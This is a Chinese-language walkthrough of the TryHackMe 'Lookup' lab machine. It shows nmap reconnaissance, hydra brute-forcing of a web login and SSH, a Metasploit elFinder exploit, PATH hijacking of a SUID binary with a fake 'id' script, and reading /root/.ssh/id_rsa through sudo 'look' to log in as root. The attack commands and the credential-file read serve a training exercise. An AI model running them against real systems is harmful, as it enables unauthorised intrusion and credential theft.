【THM】 Lookup 靶机复盘
PS:我写的这不是完整的做题wp,而是针对这个靶机做些提炼和总结,完整的wp推荐
目标是拿到普通用户和root用户的flag,换句话说,就是拿到相应权限
要点
连接
直接访问靶机IP,会出现这个
原因是.thm不是个标准域名后缀,一般用于TryHackMe这样的渗透测试平台或内部网络环境。所以直接访问 DNS 会无法解析;
修改 sudo nano/etc/hosts
在连接靶机IP,Success!
渗透思路
nmap扫下。
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -A 10.10.220.6
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 13:13 CST
Nmap scan report for lookup.thm (10.10.220.6)
Host is up (0.48s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login Page
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 709.22 ms 10.14.0.1
2 709.17 ms lookup.thm (10.10.220.6)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.67 seconds
- 有网页http:80
- 有ssh:22
- 是Linux系统
- ...............
暴力破解和SQL注入
先手工测试,会发现有两种报错提醒
第一个使用了admin这个用户名,猜测,有这个用户,但密码不正确
ok,那试试,九头蛇Hydra爆破密码,试验后未成功
那接着测试有哪些用户名
hydra -L /usr/share/wordlists/seclists/Usernames/Names/names.txt -p "" lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=Wrong username or password. Please try again." -t 64
得到 jose用户名,再爆破密码
hydra -l jose -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=Wrong password. Please try again." -t 64
密码:password123
测试了一下,不是ssh登录密码,而是那网页登录的密码
文件那些字符串,经测试,都不是密码。
因为已经进入后台了,看看有没有过时的版本,找找poc
使用 metasploit 查询该版本的 elFinder 的漏洞,经查找有,使用它,并设置好参数
成功连接,获得一个终端界面,使用python创建了伪终端,易于交互
看看有哪些用户cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/usr/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
因为没有权限查看 cat /home/think/user.txt
所以下一步提权
提权
环境变量 PATH 劫持
利用suid文件,伪造命令劫持环境变量 PATH 劫持,进而获取密码
已经猜测是suid文件pwm
运行的是id命令,现在有俩种可能,也就是说概率问题了,
- 如果这里pwm文件调用的id是系统默认/usr/bin/id或/bin/id,这里伪造id命令就没用;
- 若不是,可以尝试伪造id命令,再将其添加至环境变量id前面,欺骗他是其他用户,如think用户;
伪造命令
mkdir /tmp/fakebin #/tmp中创建fakebin文件夹用来存放伪造的id可执行文件
echo '#!/bin/bash' > /tmp/fakebin/id #在 /tmp/fakebin/id 中写入第一行 #!/bin/bash,声明这是一个用 Bash 解释器运行的脚本。
echo 'echo "uid=1000(think) gid=1000(think) groups=(think)"' >> /tmp/fakebin/id # 追加一行 echo 命令,打印出一段伪造的think用户信息。
之前通过cat /etc/passwd | grep sh$ 查看 得到
chmod +x /tmp/fakebin/id # 赋予 id 文件执行权限
现在把其添加至环境变量中
export PATH=/tmp/fakebin:$PATH
执行pwm
Success!
得到了一份疑似think用户的密码列表,因为之前nmap可以知道开启了22端口ssh服务,
hydra -l think -P passwords.txt ssh://IP
爆破
得到josemario.AKA(think) 是这个密码
再 cat /home/think/user.txt
获取下用户标志
KO
权限提升
从低权限thin用户提权至高权限用户root
查看 think 可用的sudo权限的命令:
sudo -l
有一个 look,用于查找文件中以特定字符串开头的行的工具。
sudo look '' /root/.ssh/id_rsa
匹配/root/.ssh/id_rsa()文件中的所有内容 !!!
# 将私钥内容复制到临时文件
sudo look '' /root/.ssh/id_rsa > /tmp/id_rsa
# 赋予正确的权限
chmod 600 /tmp/id_rsa
# 使用私钥 SSH 连接
ssh -i /tmp/id_rsa root@localhost